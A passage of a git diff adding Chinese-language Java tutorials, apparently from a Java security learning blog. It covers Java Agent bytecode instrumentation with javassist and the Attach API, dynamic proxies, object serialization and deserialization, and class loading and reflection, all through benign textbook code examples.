2、监控一个特定的方法,在方法中动态插入简单的代码并获取方法返回值; + +在方法中插入代码用到了字节码修改技术,字节码修改技术主要有 javassist、ASM。这个例子中用的是 javassist,所以需要引入相关的 依赖: + +``` + + org.javassist + javassist + 3.28.0-GA + +``` + +### 编写入口类和自定义转换器 + +入口类需要实现 premain 和 agentmain 两个方法。这两个方法的运行时机不一样。这要从 Java Agent 的使用方式来说了,Java Agent 有两种启动方式,一种是以 JVM 启动参数 -javaagent:xxx.jar 的形式随着 JVM 一起启动,这种情况下,会调用 premain 方法,并且是在主进程的 main 方法之前执行。另外一种是以 loadAgent 方法动态 attach 到目标 JVM 上,这种情况下,会执行 agentmain 方法。 + +代码实现如下: + +``` +package com.miaoji; + +import java.lang.instrument.Instrumentation; + +public class MyCustomAgent { + /** + * jvm 参数形式启动,运行此方法 + * + * @param agentArgs + * @param inst + */ + public static void premain(String agentArgs, Instrumentation inst) { + System.out.println("premain"); + customLogic(inst); + } + + /** + * 动态 attach 方式启动,运行此方法 + * + * @param agentArgs + * @param inst + */ + public static void agentmain(String agentArgs, Instrumentation inst) { + System.out.println("agentmain"); + customLogic(inst); + } + + /** + * 打印所有已加载的类名称 + * 修改字节码 + * + * @param inst + */ + private static void customLogic(Instrumentation inst) { + inst.addTransformer(new MyTransformer(), true); + Class[] classes = inst.getAllLoadedClasses(); + for (Class cls : classes) { + System.out.println(cls.getName()); + } + } +} +``` + +可以看到 premain 和 agentmain 两个方法都有参数 agentArgs 和 inst,其中 agentArgs 是我们启动 Java Agent 时带进来的参数,比如 `-javaagent:xxx.jar [agentArgs]` 。而参数 Instrumentation inst 是 Java 开放出来的专门用于字节码修改和程序监控的实现。我们要实现的打印已加载类和修改字节码也就是基于它来实现的。其中 inst.getAllLoadedClasses()一个方法就实现了获取所有已加载类的功能。 + +这里 inst.addTransformer() 方法是用来添加字节码转换器的,其中传入了一个自定义的转换器 MyTransformer 对象。 + +MyTransformer 类的定义如下: + +``` +package com.miaoji; + +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.io.ByteArrayInputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.IllegalClassFormatException; +import java.security.ProtectionDomain; + +public class MyTransformer implements ClassFileTransformer { + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { + System.out.println("正在加载类:" + className); + if (!"com/miaoji/Person".equals(className)) { + return classfileBuffer; + } + CtClass cl = null; + try { + ClassPool classPool = ClassPool.getDefault(); + cl = classPool.makeClass(new ByteArrayInputStream(classfileBuffer)); + CtMethod ctMethod = cl.getDeclaredMethod("test"); + System.out.println("获取方法名称:" + ctMethod.getName()); + ctMethod.insertBefore("System.out.println(\" 动态插入的打印语句 \");"); + ctMethod.insertAfter("System.out.println($_);"); + byte[] transformed = cl.toBytecode(); + return transformed; + } catch (Exception e) { + e.printStackTrace(); + } + return classfileBuffer; + } +} +``` + +以上代码的逻辑就是当碰到加载的类是 Person 的时候,在其中的 test 方法开始时插入一条打印语句,打印内容是”动态插入的打印语句”,在 test 方法结尾处,打印返回值,其中 $\_ 就是返回值,这是 javassist 里特定的标示符。 + +### 编写 MANIFEST.MF 配置文件 + +在目录 resources/META-INF/ 下创建文件名为 MANIFEST.MF 的文件,在其中加入如下的配置内容: + +``` +Manifest-Version: 1.0 +Created-By: miaoji +Agent-Class: com.miaoji.MyCustomAgent +Can-Redefine-Classes: true +Can-Retransform-Classes: true +Premain-Class: com.miaoji.MyCustomAgent +``` + +### 设置打包方式 + +Java Agent 是以 jar 包的形式存在,所以最后一步就是将上面的内容打到一个 jar 包里。 + +在 pom 文件中加入以下配置: + +``` + + + + org.apache.maven.plugins + maven-assembly-plugin + + + C:\Users\miaoj\Documents\Java安全代码实验\JavaAgentTest\src\main\resources\META-INF\MANIFEST.MF + + + jar-with-dependencies + + + + + +``` + +用 manifestFile 标签指定 MANIFEST.MF 所在路径,指定打包方式为包含依赖的 jar 包:jar-with-dependencies 。 + +然后运行如下命令即可打包: + +``` +mvn assembly:assembly +``` + +![](https://changeyourway.github.io/images/image-20241023165440755.png) + +打包成功后会在 target 目录下生成对应的 jar 包。 + +### 编写测试类 + +我们先编写一个测试类,这个测试类的逻辑就是循环不断地读取键盘输入,并在输入数字 1 的时候,调用 person.test() 方法: + +``` +import java.util.Scanner; + +public class RunJvm { + public static void main(String[] args){ + System.out.println("按数字键 1 调用测试方法"); + while (true) { + Scanner reader = new Scanner(System.in); + int number = reader.nextInt(); + if(number==1){ + Person person = new Person(); + person.test(); + } + } + } +} +``` + +以及定义一个 Person 类: + +``` +public class Person { + public String test(){ + System.out.println("执行测试方法"); + return "I'm ok"; + } +} +``` + +### 命令行方式运行 + +``` +java -javaagent:"C:\Users\miaoj\Documents\Java安全代码实验\JavaAgentTest\target\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar" -cp target/classes com.miaoji.RunJvm +``` + +输出结果: + +![](https://changeyourway.github.io/images/image-20241023165652335.png) ![](https://changeyourway.github.io/images/image-20241023165704437.png) + +可以看到在最开始首先执行了 premain 方法打印了 “premain” ,中间输出了很多被加载的类,在 RunJvm main 方法的前后执行了自定义转换器 MyTransformer 中的 javassist 操作。 + +### 动态 attach 方式运行 + +这是另一种运行方式,在项目运行过程中运行 Java Agent ,这会触发 agentmain 方法。 + +用下面的代码去实现: + +``` +package com.miaoji; + +import com.sun.tools.attach.*; +import java.io.IOException; +import java.util.List; + +public class AttachAgent { + public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { + // 调用 VirtualMachine.list() 获取正在运行的 JVM 列表 + List list = VirtualMachine.list(); + for (VirtualMachineDescriptor vmd : list) { + + // 遍历每一个正在运行的 JVM ,如果 JVM 名称为 RunJvm 则连接该 JVM 并加载特定 Agent + if (vmd.displayName().equals("com.miaoji.RunJvm")) { + // 连接指定 JVM + VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); + // 加载 Agent + virtualMachine.loadAgent("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\JavaAgentTest\\target\\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar"); + // 断开 JVM 连接 + virtualMachine.detach(); + } + + } + } +} +``` + +其中用到的 com.sun.tools.attach.VirtualMachine 类需要 tools.jar 依赖,IDEA 默认不会导入,我们需要手动导入: + +![](https://changeyourway.github.io/images/image-20241023173202010.png) + +导入完成后,就可以开始了。 + +先运行 RunJvm 主函数,接着运行 AttachAgent ,回到 RunJvm 运行结果下面输入 1 ,便可以触发相同的效果了: + +![](https://changeyourway.github.io/images/image-20241023174735221.png) + +### Java Agent 基本使用流程总结 + +1. 创建 Java Agent 类: + - 定义一个类,包含 `premain` 方法(静态加载)和/或 `agentmain` 方法(动态加载)。 + - 这些方法是 Java Agent 的入口,用来接收传递的参数和 `Instrumentation` 对象。 +2. 实现字节码转换: + - 使用 `Instrumentation` 接口注册字节码转换器,通过 `ClassFileTransformer` 实现类加载时修改字节码的逻辑。 +3. 配置 `MANIFEST.MF` 文件: + - 在 JAR 包的 `META-INF/` 目录下的 `MANIFEST.MF` 文件中,添加 `Premain-Class`(静态加载)或 `Agent-Class`(动态加载)条目,指明 Java Agent 的入口类。 +4. 打包 Java Agent: + - 将 Java Agent 类及其依赖打包为 JAR 文件,确保 `MANIFEST.MF` 文件配置正确。 +5. 加载 Java Agent: + - 静态加载:在 JVM 启动时,通过 `-javaagent` 参数指定 Java Agent 的 JAR 文件。 + - 动态加载:使用 Attach API,附加到已经运行的 JVM 进程,动态加载 Java Agent。 + +## Java Agent 知识汇总 + +### 常用类 + +#### Instrumentation + +java.lang.instrument.Instrumentation 是 Java Agent 的核心接口,允许 Java Agent 操作类定义,修改字节码等。它提供了操作类和监控 JVM 的各种方法。它是 premain 和 agentmain 方法的参数。 + +- 常用方法: + - `void addTransformer(ClassFileTransformer transformer)`:添加一个类文件转换器,在类加载时进行字节码修改。 + + - `void redefineClasses(ClassDefinition... definitions)`:允许重新定义(redefine)已经加载的类,直接用新的字节码替换现有类定义,而不会触发类的重新加载。不能改变原类的签名、父类、接口,且字段、方法的结构也必须保持一致,但可以修改方法体的具体实现。 + + - `void retransformClasses(Class... classes)`:允许对类进行重新转换,但它会触发类加载器重新加载。同样不能改变类的结构(例如类的签名、字段、接口、父类等),但可以修改方法体的具体实现。 + + - `Class[] getAllLoadedClasses()`:获取 JVM 中加载的所有类。 + + - `long getObjectSize(Object object)`:获取某个对象的大小。 + + - `boolean isModifiableClass(Class theClass)`:检查一个类是否可以修改。 + + +#### ClassFileTransformer + +java.lang.instrument.ClassFileTransformer 是用于在类加载时转换字节码的接口。通过实现这个接口,Agent 可以在类加载时对字节码进行修改。前面的自定义转换器就继承了这个类并重写了 transform 方法。 + +- 常用方法: + - `byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer)`:这个方法在类加载时调用,允许你对类的字节码进行修改,返回修改后的字节码。 + +#### VirtualMachine + +com.sun.tools.attach.VirtualMachine 是 Java Attach API 的核心类,允许 Java Agent 动态附加到正在运行的 JVM 上。 + +- 常用方法: + - `static VirtualMachine attach(String pid)`:根据 JVM 进程 ID,附加到运行中的 JVM。 + - `void loadAgent(String agentJar)`:加载 Java Agent JAR 文件到已附加的 JVM。 + - `void detach()`:从目标 JVM 分离。 + +#### ClassDefinition + +java.lang.instrument.ClassDefinition 类用于定义要重新加载的类。 + +- 常用方法: + - `ClassDefinition(Class theClass, byte[] theClassFile)`:构造一个类定义,指定要重新加载的类和它的字节码。 + +### 常用方法 + +#### premain 方法 + +- 这是 Java Agent 在 JVM 启动时的入口方法,类似于 `main` 方法。 + +- 方法签名: + + ``` + public static void premain(String agentArgs, Instrumentation inst); + ``` + + - `agentArgs`:传递给 Agent 的参数,可以是命令行参数等。 + - `inst`:`Instrumentation` 对象,提供修改类字节码、获取类信息等功能。 +- **示例**: + + ``` + public static void premain(String agentArgs, Instrumentation inst) { + inst.addTransformer(new MyTransformer()); + } + ``` + + +#### agentmain 方法 + +- 用于在 JVM 运行时动态加载 Agent,使用 Attach API 时调用。 + +- 方法签名: + + ``` + public static void agentmain(String agentArgs, Instrumentation inst); + ``` + + - 类似 `premain`,`agentmain` 方法在 JVM 运行时动态调用,允许你动态加载 Agent。 + +#### transform 方法 + +- 这是 `ClassFileTransformer` 接口中的方法,用于修改类字节码。 + +- 方法签名: + + ``` + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException; + ``` + + - `classfileBuffer`:类的字节码,可以通过修改这个字节数组来改变类的行为。 + +### 执行流程 + +Java Agent 的执行流程简要为: + +1. **启动方式**: + - 静态:JVM 启动时,调用 `premain(String agentArgs, Instrumentation inst)`。 + - 动态:JVM 运行时,调用 `agentmain(String agentArgs, Instrumentation inst)`。 +2. **注册类文件转换器**: + - 在 `premain` 或 `agentmain` 方法中,使用 `Instrumentation#addTransformer` 注册 `ClassFileTransformer`。 +3. **类文件转换器执行**: + - 当类加载时,`ClassFileTransformer` 的 `transform` 方法被调用,修改类的字节码。 +4. **已加载类的操作**: + - 使用 `retransformClasses` 或 `redefineClasses` 修改已加载类的字节码(遵循类的结构限制)。 + +## 参考文章 + +[Java Agent 使用详解](https://www.cnblogs.com/huanshilang/p/12206644.html) + +[Java 安全学习 —— 内存马](https://goodapple.top/archives/1355) diff --git a/books/基础篇 - Java 动态代理.md b/books/基础篇 - Java 动态代理.md new file mode 100644 index 0000000..af84de3 --- /dev/null +++ b/books/基础篇 - Java 动态代理.md @@ -0,0 +1,207 @@ +# 基础篇 - Java 动态代理 +> 2024-05-11 +> 来源:https://changeyourway.github.io/2024/05/11/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-Java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86/ + +在 Java 动态代理中,代理对象能够通过调用 invoke 方法来增强被代理对象的原始方法。 + +## Java 动态代理 + +### 程序为什么需要代理?代理长什么样? + +对象如果嫌身上干的事太多,可以通过代理来转移部分职责。对象有什么方法想被代理,代理就一定要有对应的方法。 + +### 下面通过一个简单的例子来了解动态代理 + +现有一个类 BigStar 需要被代理,如何让代理类知道 BigStar 的哪些方法需要被代理呢?那么需要定义一个接口,这个接口将会声明 BigStar 中需要被代理的方法,再让代理类实现这个接口好了。同样,出于代理的规范,BigStar 类也需要实现这个接口。 + +**需要被代理的 BigStar 类:** + +``` +public class BigStar implements Star{ + private String name; + + public BigStar(String name) { + this.name = name; + } + + public String Sing(String name){ + System.out.println(this.name + "正在唱" + name); + return "谢谢大家!"; + } + + public void Dance(){ + System.out.println(this.name + "正在跳舞"); + } +} +``` + +**Star 接口中声明了 BigStar 类需要被代理的方法 Sing 和 Dance :** + +``` +public interface Star { + String Sing(String name); + public void Dance(); +} +``` + +接下来我们要获取代理对象,通常用到 Proxy 类的 newProxyInstance() 方法。 + +### Proxy.newProxyInstance() 方法 + +其定义是这样的: + +``` +@CallerSensitive +public static Object newProxyInstance(ClassLoader loader, Class[] interfaces, InvocationHandler h) +``` + +- 返回类型为 Object + +- 第一个参数用于指定类加载器,开发里都是用当前类的类加载器,这里即 ProxyUtil.class.getClassLoader() 。 + +- 第二个参数需要传入一个接口数组,用于指定生成的代理对象继承哪些接口,包含哪些方法。 + +- 第三个参数需要传入一个 InvocationHandler 接口的对象,由于接口不能直接实例化对象,所以我们这里需要用到 InvocationHandler 接口的匿名对象。 + + +具体代码如下: + +``` +Star starProxy = (Star) Proxy.newProxyInstance( + // 指定类加载器 + ProxyUtil.class.getClassLoader(), + // 传入接口的Class对象 + new Class[]{Star.class}, + // 传入InvocationHandler接口的匿名对象 + new InvocationHandler() { + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + return null; + } + } + ); +``` + +在使用 idea 创建 InvocationHandler 的匿名内部类时我们会发现这里自动生成了一个重写的 invoke() 方法,划重点,这个 invoke() 方法很重要。 + +### InvocationHandler 类的 invoke() 方法 + +代理对象需要做的增强功能(或者说要做的事情),就定义在这个方法里。 + +我们来看它的定义: + +``` +public Object invoke(Object proxy, Method method, Object[] args) +``` + +这三个参数的含义是什么呢? + +我们知道,我们获取到的这个代理对象 starProxy 中是有 Sing 和 Dance 两个方法的,而且将来会被调用,就像这样: + +``` +starProxy.Sing("爱我中华") +``` + +那么此时第一个参数 proxy 获取到的就是对象 starProxy ,第二个参数 method 获取到的就是方法 Sing ,第三个参数 args 获取到的就是参数数组 Object\[\]{“爱我中华”} ,应该明白了吧。 + +那么接下来我们可以完善这个 invoke 方法: + +``` +// 新建一个 BigStar 对象 +BigStar bigStar = new BigStar("张三"); +// 创建代理对象 +Star starProxy = (Star) Proxy.newProxyInstance( + // 指定类加载器 + ProxyUtil.class.getClassLoader(), + // 传入接口的Class对象 + new Class[]{Star.class}, + // 传入InvocationHandler接口的匿名对象 + new InvocationHandler() { + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + // 当调用 Sing 方法时,打印 "收钱,准备唱歌场地" + if (method.getName().equals("Sing")) { + System.out.println("收钱,准备唱歌场地"); + // 当调用 Dance 方法时,打印 "收钱,准备跳舞场地" + } else if (method.getName().equals("Dance")) { + System.out.println("收钱,准备跳舞场地"); + } + // 最后一定调用 bigStar 的原始方法,并将结果返回 + return method.invoke(bigStar, args); + } + } + ); +``` + +最后调用代理类的 Sing 和 Dance 方法测试: + +``` +String sing = starProxy.Sing("爱我中华"); +System.out.println(sing); +starProxy.Dance(); +``` + +返回结果如下: + +![](/images/image-20240511191727576.png) + +最后我们再梳理一遍执行流程: + +``` +starProxy.Sing("爱我中华") -> InvocationHandler 的 invoke 方法(打印 "收钱,准备唱歌场地") -> bigStar.Sing("爱我中华")(并将返回值返回) +``` + +starProxy.Dance() 同理: + +``` +starProxy.Dance() -> InvocationHandler 的 invoke 方法(打印 "收钱,准备跳舞场地") -> bigStar.Dance()(无返回) +``` + +至此,我们对动态代理有了大概的了解。 + +不过,实际开发中,我们通常会自定义一个 ProxyUtil 工具类来获取代理对象: + +``` +public class ProxyUtil { + public static Star createProxy(BigStar bigStar) { + Star starProxy = (Star) Proxy.newProxyInstance( + // 指定类加载器 + ProxyUtil.class.getClassLoader(), + // 传入接口的Class对象 + new Class[]{Star.class}, + // 传入InvocationHandler接口的匿名对象 + new InvocationHandler() { + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + // 当调用 Sing 方法时,打印 "收钱,准备唱歌场地" + if (method.getName().equals("Sing")) { + System.out.println("收钱,准备唱歌场地"); + // 当调用 Dance 方法时,打印 "收钱,准备跳舞场地" + } else if (method.getName().equals("Dance")) { + System.out.println("收钱,准备跳舞场地"); + } + // 最后一定调用 bigStar 的原始方法 + return method.invoke(bigStar, args); + } + } + ); + return starProxy; + } +} +``` + +如此一来,我们的测试类中就可以这样写: + +``` +public class Test { + public static void main(String[] args) { + // 获取代理对象 + Star starProxy = ProxyUtil.createProxy(new BigStar("张三")); + String sing = starProxy.Sing("爱我中华"); + System.out.println(sing); + starProxy.Dance(); + } +} +``` + +这样就简洁很多了。 diff --git a/books/基础篇 - Java 序列化与反序列化.md b/books/基础篇 - Java 序列化与反序列化.md new file mode 100644 index 0000000..4eea54a --- /dev/null +++ b/books/基础篇 - Java 序列化与反序列化.md @@ -0,0 +1,186 @@ +# 基础篇 - Java 序列化与反序列化 +> 2024-05-10 +> 来源:https://changeyourway.github.io/2024/05/10/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-Java%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ + +Java 序列化是指把 Java 对象转换为字节序列的过程,而 Java 反序列化是指把字节序列恢复为 Java 对象的过程。本文详细讲解了 Java 序列化与反序列化的实现。 + +## Java 序列化与反序列化 + +### 概述 + +Java 序列化是指把 Java 对象转换为字节序列的过程,而 Java 反序列化是指把字节序列恢复为 Java 对象的过程。 + +### 序列化与反序列化实现 + +##### 条件 + +只有实现了 `Serializable` 或者 `Externalizable` 接口的类的对象才能被序列化为字节序列。(不是则会抛出异常) + +###### Serializable 接口 + +`Serializable` 接口是 Java 提供的序列化接口,它是一个空接口: + +``` +public interface Serializable { +} +``` + +`Serializable` 用来标识当前类可以被 `ObjectOutputStream` 序列化,以及被 `ObjectInputStream` 反序列化。 + +###### Externalizable 接口 + +`Externalizable` 接口是一个更高级别的序列化机制,它允许类对序列化和反序列化过程进行更多的控制和自定义。 + +实现了 `Externalizable` 接口的类可以被序列化,但是它与实现 `Serializable` 接口的类有所不同,`Externalizable` 接口的序列化和反序列化方法对对象的状态完全负责,包括对象的所有成员变量。因此,在 `writeExternal` 和 `readExternal` 方法中,需要手动指定对象的所有成员变量的序列化和反序列化过程。 + +- 类必须显式实现 `Externalizable` 接口。 + +- 类必须实现 `writeExternal` 和 `readExternal` 方法来手动指定对象的序列化和反序列化过程。这些方法负责将对象的状态写入和读取到指定的数据流中。 + +- 类必须提供一个公共的无参数构造函数,因为反序列化过程需要调用该构造函数来创建对象实例。 + + 以下是代码示例: + + ``` + import java.io.*; + + public class MyClass implements Externalizable { + private int id; + private String name; + + // 必须提供默认的构造函数 + public MyClass() {} + + public MyClass(int id, String name) { + this.id = id; + this.name = name; + } + + // 实现序列化的方法 + @Override + public void writeExternal(ObjectOutput out) throws IOException { + out.writeInt(id); + out.writeUTF(name); + } + + // 实现反序列化的方法 + @Override + public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { + id = in.readInt(); + name = in.readUTF(); + } + + } + ``` + + +###### 其他条件 + +除此之外,反序列化还有一些条件: + +1. **对象的所有成员都可序列化**:如果一个类实现了 `Serializable` 接口,但其成员中有某些成员变量不可序列化,则序列化操作会失败。 +2. **静态成员变量不参与序列化**:静态成员变量属于类级别的数据,不包含在序列化的过程中。 +3. **transient 关键字**:如果某个成员变量被声明为 `transient`,则在序列化过程中会被忽略,不会被持久化。 +4. **序列化版本号 serialVersionUID**:序列化版本号不一致反序列化会失败。建议显式声明一个名为 `serialVersionUID` 的静态变量,用于控制序列化的版本。若不声明,Java 会根据类的结构自动生成一个版本号,若类的结构发生变化,则版本号不同,无法反序列化。 + +##### 序列化对象 + +要将对象序列化成字节流,可以使用 `ObjectOutputStream` 类。通过 `ObjectOutputStream` 的 `writeObject()` 方法将对象写入输出流。 + +代码示例: + +``` +import java.io.FileOutputStream; +import java.io.ObjectOutputStream; + +public class SerializationExample { + public static void main(String[] args) { + try { + MyClass obj = new MyClass(); + FileOutputStream fileOut = new FileOutputStream("object.ser"); + ObjectOutputStream out = new ObjectOutputStream(fileOut); + out.writeObject(obj); + out.close(); + fileOut.close(); + System.out.println("Object has been serialized"); + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +##### 反序列化字节流 + +要从字节流中反序列化对象,可以使用 `ObjectInputStream` 类。通过 `ObjectInputStream` 的 `readObject()` 方法读取输入流中的对象。 + +代码示例: + +``` +import java.io.FileInputStream; +import java.io.ObjectInputStream; + +public class DeserializationExample { + public static void main(String[] args) { + try { + FileInputStream fileIn = new FileInputStream("object.ser"); + ObjectInputStream in = new ObjectInputStream(fileIn); + MyClass obj = (MyClass) in.readObject(); + in.close(); + fileIn.close(); + System.out.println("Object has been deserialized"); + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +##### 使用 ObjectOutputStream 与 ObjectInputStream 的注意事项 + +在上面的代码中,使用 `ObjectOutputStream`( `ObjectInputStream` )之前,先使用了 `FileOutputStream`(`FileInputStream` )来处理数据。 + +实际上,`ObjectOutputStream` 需要一个输出流作为参数,因此在使用 `ObjectOutputStream` 之前,先使用 `FileOutputStream` 打开文件并创建一个文件输出流对象,以便将对象序列化后的数据写入文件。 + +同理,`ObjectInputStream` 是基于输入流的,它需要一个输入流作为参数来读取对象的序列化数据。而 `FileInputStream` 是一种输入流,用于从文件中读取字节流数据。 + +此外,重要的一点是: + +ObjectOutputStream 中进行序列化操作的时候,会判断被序列化的对象是否自己重写了 writeObject 方法,如果重写了,就会调用被序列化对象自己的 writeObject 方法,如果没有重写,才会调用默认的序列化方法。 + +同理 ObjectInputStream 中进行序列化操作的时候,会判断被序列化的对象是否自己重写了 readObject方法,如果重写了,就会调用被序列化对象自己的 readObject方法,如果没有重写,才会调用默认的序列化方法。 + +##### 常见的输入输出流 + +除了 `FileInputStream`( `FileOutputStream`)之外,根据条件的不同,还可以使用其他的输入输出流来处理数据。 + +以下是一些常见的输入输出流以及它们的使用条件: + +1. **BufferedInputStream**(**BufferedOutputStream**): + - 使用条件:当需要对读取或写入的数据进行缓冲以提高性能时,特别是对大文件或网络数据流的读取或写入。 +2. **ByteArrayInputStream**(**ByteArrayOutputStream**): + - 使用条件:当需要从字节数组中读取数据,或将数据写入到字节数组中时。 +3. **ObjectInputStream**(**ObjectOutputStream**): + - 使用条件:当需要将输入流中的数据反序列化为对象,或将对象序列化后的数据写入到输出流时。 +4. **PipedInputStream**(**PipedOutputStream**): + - 使用条件:当需要通过管道与另一个线程进行数据交换时,可用于线程间通信。 +5. **DataInputStream**(**DataOutputStream**): + - 使用条件:当需要从输入流中以 Java 基本数据类型的格式读取数据,或以 Java 基本数据类型的格式将数据写入输出流时。 +6. **FileInputStream**(**FileOutputStream**): + - 使用条件:当需要从文件中读取字节数据,或将数据写入文件时。 +7. **其他自定义的 InputStream**(**OutputStream**): + - 使用条件:如果有特定的需求,可以自定义实现 `InputStream`(`OutputStream`)类的子类,来满足自己的需求,比如从特定硬件设备中读取数据等。 + +##### 序列化版本号 serialVersionUID + +Java 的序列化机制是通过判断运行时类的 serialVersionUID 来验证版本一致性的,在进行反序列化时,JVM 会把传进来的字节流中的 serialVersionUID 与本地实体类中的 serialVersionUID 进行比较,如果相同则认为是一致的,便可以进行反序列化,否则就会报序列化版本不一致的异常。 + +如果没有显示指定 serialVersionUID ,Java 会根据类的结构自动生成一个,这种情况下,只有同一次编译生成的 class 才会生成相同的 serialVersionUID 。 + +有时候由于 serialVersionUID 发生改变,导致反序列化不能成功,为了不出现这类的问题,可以在要序列化的类中显式的声明一个名为 “ serialVersionUID ” 、类型为 long 的变量,并指定其值: + +``` +private static final long serialVersionUID = 1L; +``` + +这样就解决了兼容性问题。 diff --git a/books/基础篇 - Java 的类加载与反射.md b/books/基础篇 - Java 的类加载与反射.md new file mode 100644 index 0000000..297df9d --- /dev/null +++ b/books/基础篇 - Java 的类加载与反射.md @@ -0,0 +1,166 @@ +# 基础篇 - Java 的类加载与反射 +> 2024-05-10 +> 来源:https://changeyourway.github.io/2024/05/10/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-Java%E7%9A%84%E7%B1%BB%E5%8A%A0%E8%BD%BD%E4%B8%8E%E5%8F%8D%E5%B0%84/ + +本文介绍了 Java 的类加载与反射机制,概括了获得 Class 对象的几种方式,以及总结了反射获取类信息的方法。 + +## 类加载机制 + +### 概述 + +class 文件由类装载器装载后,在 JVM 中将形成一份描述 Class 结构的元信息对象,通过该元信息对象可以获知 Class 的结构信息:如构造函数,属性和方法等,Java 允许用户借由这个 Class 相关的元信息对象间接调用 Class 对象的功能。 + +虚拟机把描述类的数据从 class 文件加载到内存,并对数据进行校验,转换解析和初始化,最终形成可以被虚拟机直接使用的 Java 类型,这就是虚拟机的类加载机制。 + +### 类加载器 + +ClassLoader :Java 中的一个抽象类,位于 `java.lang` 包中,用于实现类的加载机制。 + +在 Java 中,有三种主要的类加载器: + +1. **Bootstrap ClassLoader(启动类加载器):** 这是 Java 虚拟机(JVM)自身的一部分,负责加载 Java 的核心类库,如 `java.lang` 等。它是用本地代码实现的,无法直接在 Java 代码中访问。 +2. **Extension ClassLoader(扩展类加载器):** 这个类加载器负责加载 Java 的扩展库,位于 `$JAVA_HOME/lib/ext` 目录下的 JAR 文件中的类。它是由 `sun.misc.Launcher$ExtClassLoader` 类实现的。 +3. **System ClassLoader 或 Application ClassLoader(系统类加载器或应用程序类加载器):** 这个类加载器负责加载应用程序的类路径(Classpath)中指定的类,包括用户自定义的类。它是由 `sun.misc.Launcher$AppClassLoader` 类实现的。 + +### 类的生命周期 + +类从被加载到虚拟机内存中开始到卸载出内存为止,它的整个生命周期可以简单概括为 7 个阶段::加载(Loading)、验证(Verification)、准备(Preparation)、解析(Resolution)、初始化(Initialization)、使用(Using)和卸载(Unloading)。其中,验证、准备和解析这三个阶段可以统称为连接(Linking)。 + +这 7 个阶段的顺序为: + +加载 -> 验证 -> 准备 -> 解析 -> 初始化 -> 使用 -> 卸载 + +其中,类加载过程包含上述从加载到初始化的五个阶段,即: + +加载 -> 验证 -> 准备 -> 解析 -> 初始化 + +有时候也将验证,准备,解析三个阶段看作一个阶段,叫连接阶段,所以类加载过程又可以描述为: + +加载 -> 连接 -> 初始化 + +### 获得 Class 对象的四种方式 + +比如现在有一个类 com.newer.test.Student ,获取该类的 class 对象有以下四种方式: + +1. 通过类名.class + +```abnf +Class c1 = Student.class; +``` + +2. 通过对象的 getClass() 方法,stu 是 Student 类的对象 + +```abnf +Class c2 = stu.getClass(); +``` + +3. 通过类加载器获得 class 对象 + +```abnf +ClassLoader classLoader = ClassLoader.getSystemClassLoader(); +Class c3 = classLoader.loadClass("com.newer.test.Student"); +``` + +值得注意的是,通过类加载器获得 class 对象的这段代码只会经过类加载的五个阶段中的前四个阶段,而不会经过初始化阶段。而类中的静态代码块是在类加载过程中的初始化阶段执行的,所以如果想通过这种方式让类中的静态代码块执行,即触发类的初始化,可以补充以下代码: + +``` +c3.newInstance(); +``` + +4. 通过 Class.forName() 获得 Class 对象 + +```abnf +Class c4 = Class.forName("com.newer.test.Student"); +``` + +## 反射机制 + +### 概述 + +反射(Reflection) 是 Java 程序开发语言的特征之一,它允许运行中的 Java 程序对自身进行检查,或者说“自审”,并能直接操作程序的内部属性和方法。 + +### 通过反射调用方法的流程 + +反射调用一般分为 3 个步骤: + +- 得到要调用类的 Class 对象 +- 得到要调用的类的方法(Method) +- 方法调用(invoke) + +代码示例: + +1. 加载 “com.newer.test.Student” 类,并返回对应的 Class 对象: + +``` +Class cls = Class.forName("com.newer.test.Student"); +``` + +2. 获取名为 “hi”、参数类型为 int 和 String 的方法,并返回对应的 Method 对象: + +``` +Method m = cls.getDeclaredMethod("hi",new Class[]{int.class,String.class}); +``` + +3. 调用之前获取到的方法: + +``` +m.invoke(cls.newInstance(),18,"zhangsan"); +``` + +invoke() 方法接收两个参数,第一个参数是要调用方法的对象实例,第二个参数是方法的参数列表。 + +cls.newInstance() 创建了一个 com.newer.test.Student 的实例,然后调用该实例的 “hi” 方法,传递了参数 18 和 “zhangsan”。 + +### 反射获取类的信息 + +###### 获取类构造器 + +- `Connstructor getConstructor(Class...parameterTypes)`:返回此 Class 对象对应类的带指定形参的 **public** 构造方法 +- `Constructor[] getConstructors()`:返回此 Class 对象对应类的所有 **public** 构造方法 +- `Constructor[] getDeclaredConstructor(Class...parameterTypes)`:返回此 Class 对象对应类的带指定参数的构造方法,所有声明的构造方法均可访问。 +- `Constructor[] getDeclaredConstructors()`:返回此 Class 对象对应类的所有声明的构造方法 + +###### 获取类成员方法 + +- `Method getMethod(String name,Class...parameterTypes)`:返回此 Class 对象对应类的带指定形参的 public 方法 +- `Method[] getMethods()`:返回此 Class 对象对应类的所有 public 方法 +- `Method getDeclaredMethod(string name,Class...parameterTypes)`:返回此 Class 对象对应类的带指定形参的方法 +- `Method[] getDeclaredMethods()`:返回此 Class 对象对应类的全部方法 + +###### 获取类成员变量 